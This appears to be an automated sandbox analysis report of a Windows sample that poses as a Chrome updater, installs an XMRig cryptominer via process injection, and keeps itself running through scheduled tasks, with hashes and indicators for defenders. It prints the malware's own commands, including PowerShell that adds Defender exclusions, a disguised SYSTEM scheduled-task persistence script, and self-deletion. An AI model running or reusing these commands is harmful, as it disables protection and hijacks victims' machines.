Resubmissions
10-07-2023 10:08
230710-l6argaaf5v 1031-05-2023 16:49
230531-vbza1sge9t 1031-05-2023 16:48
230531-vbf5fage8y 1005-05-2023 05:32
230505-f79z3aae2v 1028-04-2023 10:16
230428-ma925adc43 1017-04-2023 18:21
230417-wzgxbahc3y 1017-04-2023 18:20
230417-wy7fksfe53 1017-04-2023 18:20
230417-wy3gmafe52 1012-04-2023 16:24
230412-twt2csdd64 1012-04-2023 16:24
230412-twgq2add57 10Analysis
-
max time kernel
1800s -
max time network
1797s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
31-03-2023 23:35
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e.exe
Resource
win7-20230220-en
General
-
Target
qM5GMXBk6hJE6Y5e.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exedescription pid process target process PID 2040 created 1244 2040 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2040 created 1244 2040 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2040 created 1244 2040 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2040 created 1244 2040 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1516 created 1244 1516 updater.exe Explorer.EXE PID 1516 created 1244 1516 updater.exe Explorer.EXE PID 1516 created 1244 1516 updater.exe Explorer.EXE PID 1516 created 1244 1516 updater.exe Explorer.EXE PID 2000 created 1244 2000 conhost.exe Explorer.EXE PID 1516 created 1244 1516 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/872-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-147-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-156-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-158-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-160-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-162-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-166-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-173-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/872-175-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 976 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1516 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1768 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/872-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-147-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-156-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-158-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-160-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-162-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-166-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-173-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/872-175-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1516 set thread context of 2000 1516 updater.exe conhost.exe PID 1516 set thread context of 872 1516 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1736 schtasks.exe 1368 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10633a513a64d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2040 qM5GMXBk6hJE6Y5e.exe 2040 qM5GMXBk6hJE6Y5e.exe 916 powershell.exe 2040 qM5GMXBk6hJE6Y5e.exe 2040 qM5GMXBk6hJE6Y5e.exe 328 powershell.exe 2040 qM5GMXBk6hJE6Y5e.exe 2040 qM5GMXBk6hJE6Y5e.exe 2040 qM5GMXBk6hJE6Y5e.exe 2040 qM5GMXBk6hJE6Y5e.exe 276 powershell.exe 1516 updater.exe 1516 updater.exe 796 powershell.exe 1516 updater.exe 1516 updater.exe 612 powershell.exe 1516 updater.exe 1516 updater.exe 1516 updater.exe 1516 updater.exe 2000 conhost.exe 2000 conhost.exe 1516 updater.exe 1516 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 916 powershell.exe Token: SeDebugPrivilege 328 powershell.exe Token: SeDebugPrivilege 276 powershell.exe Token: SeDebugPrivilege 796 powershell.exe Token: SeDebugPrivilege 612 powershell.exe Token: SeDebugPrivilege 1516 updater.exe Token: SeAssignPrimaryTokenPrivilege 1176 WMIC.exe Token: SeIncreaseQuotaPrivilege 1176 WMIC.exe Token: SeSecurityPrivilege 1176 WMIC.exe Token: SeTakeOwnershipPrivilege 1176 WMIC.exe Token: SeLoadDriverPrivilege 1176 WMIC.exe Token: SeSystemtimePrivilege 1176 WMIC.exe Token: SeBackupPrivilege 1176 WMIC.exe Token: SeRestorePrivilege 1176 WMIC.exe Token: SeShutdownPrivilege 1176 WMIC.exe Token: SeSystemEnvironmentPrivilege 1176 WMIC.exe Token: SeUndockPrivilege 1176 WMIC.exe Token: SeManageVolumePrivilege 1176 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1176 WMIC.exe Token: SeIncreaseQuotaPrivilege 1176 WMIC.exe Token: SeSecurityPrivilege 1176 WMIC.exe Token: SeTakeOwnershipPrivilege 1176 WMIC.exe Token: SeLoadDriverPrivilege 1176 WMIC.exe Token: SeSystemtimePrivilege 1176 WMIC.exe Token: SeBackupPrivilege 1176 WMIC.exe Token: SeRestorePrivilege 1176 WMIC.exe Token: SeShutdownPrivilege 1176 WMIC.exe Token: SeSystemEnvironmentPrivilege 1176 WMIC.exe Token: SeUndockPrivilege 1176 WMIC.exe Token: SeManageVolumePrivilege 1176 WMIC.exe Token: SeLockMemoryPrivilege 872 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 328 wrote to memory of 1736 328 powershell.exe schtasks.exe PID 328 wrote to memory of 1736 328 powershell.exe schtasks.exe PID 328 wrote to memory of 1736 328 powershell.exe schtasks.exe PID 976 wrote to memory of 1720 976 cmd.exe choice.exe PID 976 wrote to memory of 1720 976 cmd.exe choice.exe PID 976 wrote to memory of 1720 976 cmd.exe choice.exe PID 276 wrote to memory of 1972 276 powershell.exe schtasks.exe PID 276 wrote to memory of 1972 276 powershell.exe schtasks.exe PID 276 wrote to memory of 1972 276 powershell.exe schtasks.exe PID 1768 wrote to memory of 1516 1768 taskeng.exe updater.exe PID 1768 wrote to memory of 1516 1768 taskeng.exe updater.exe PID 1768 wrote to memory of 1516 1768 taskeng.exe updater.exe PID 612 wrote to memory of 1368 612 powershell.exe schtasks.exe PID 612 wrote to memory of 1368 612 powershell.exe schtasks.exe PID 612 wrote to memory of 1368 612 powershell.exe schtasks.exe PID 1516 wrote to memory of 2000 1516 updater.exe conhost.exe PID 320 wrote to memory of 1176 320 cmd.exe WMIC.exe PID 320 wrote to memory of 1176 320 cmd.exe WMIC.exe PID 320 wrote to memory of 1176 320 cmd.exe WMIC.exe PID 1516 wrote to memory of 872 1516 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {84F68028-4941-4FC1-AF63-30BB77FCEA62} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD561250e625325a4503e44347a1783f0e3
SHA1f4318098e7ee6a5c04e7f3b1b8a61c83fe204813
SHA256c4b748ca1c38149da7f4fc9390e5a23b3cef49a0135a076e897bb47edbe51a57
SHA51218ef864153b7bd4bc3781782cc94d49776f63de04165c62d530dd619634c31bbdcfb7d807d75299dde2bb6ceea8a3c973a122a515e3ce5ee44cbaed18f3a16f4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD561250e625325a4503e44347a1783f0e3
SHA1f4318098e7ee6a5c04e7f3b1b8a61c83fe204813
SHA256c4b748ca1c38149da7f4fc9390e5a23b3cef49a0135a076e897bb47edbe51a57
SHA51218ef864153b7bd4bc3781782cc94d49776f63de04165c62d530dd619634c31bbdcfb7d807d75299dde2bb6ceea8a3c973a122a515e3ce5ee44cbaed18f3a16f4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHUJJLHSAAV72WOHGQFL.tempFilesize
7KB
MD561250e625325a4503e44347a1783f0e3
SHA1f4318098e7ee6a5c04e7f3b1b8a61c83fe204813
SHA256c4b748ca1c38149da7f4fc9390e5a23b3cef49a0135a076e897bb47edbe51a57
SHA51218ef864153b7bd4bc3781782cc94d49776f63de04165c62d530dd619634c31bbdcfb7d807d75299dde2bb6ceea8a3c973a122a515e3ce5ee44cbaed18f3a16f4
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
memory/276-83-0x000000000260B000-0x0000000002642000-memory.dmpFilesize
220KB
-
memory/276-82-0x0000000002604000-0x0000000002607000-memory.dmpFilesize
12KB
-
memory/328-70-0x00000000024B0000-0x0000000002530000-memory.dmpFilesize
512KB
-
memory/328-72-0x00000000024B0000-0x0000000002530000-memory.dmpFilesize
512KB
-
memory/328-73-0x00000000024B0000-0x0000000002530000-memory.dmpFilesize
512KB
-
memory/328-71-0x00000000024B0000-0x0000000002530000-memory.dmpFilesize
512KB
-
memory/328-69-0x0000000002320000-0x0000000002328000-memory.dmpFilesize
32KB
-
memory/328-68-0x000000001B150000-0x000000001B432000-memory.dmpFilesize
2.9MB
-
memory/612-91-0x0000000000CB0000-0x0000000000D30000-memory.dmpFilesize
512KB
-
memory/612-93-0x0000000000CB0000-0x0000000000D30000-memory.dmpFilesize
512KB
-
memory/612-92-0x0000000000CB0000-0x0000000000D30000-memory.dmpFilesize
512KB
-
memory/796-90-0x000000000104B000-0x0000000001082000-memory.dmpFilesize
220KB
-
memory/796-89-0x0000000001044000-0x0000000001047000-memory.dmpFilesize
12KB
-
memory/872-105-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-119-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-175-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-173-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-166-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-164-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-162-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-160-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-158-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-101-0x00000000000B0000-0x00000000000D0000-memory.dmpFilesize
128KB
-
memory/872-102-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-156-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-104-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-149-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-107-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-109-0x0000000000790000-0x00000000007B0000-memory.dmpFilesize
128KB
-
memory/872-110-0x00000000007F0000-0x0000000000810000-memory.dmpFilesize
128KB
-
memory/872-111-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-147-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-113-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-114-0x0000000000790000-0x00000000007B0000-memory.dmpFilesize
128KB
-
memory/872-115-0x00000000007F0000-0x0000000000810000-memory.dmpFilesize
128KB
-
memory/872-117-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-145-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-121-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-123-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-125-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-127-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-129-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-131-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-133-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-135-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-137-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-139-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-141-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/872-143-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
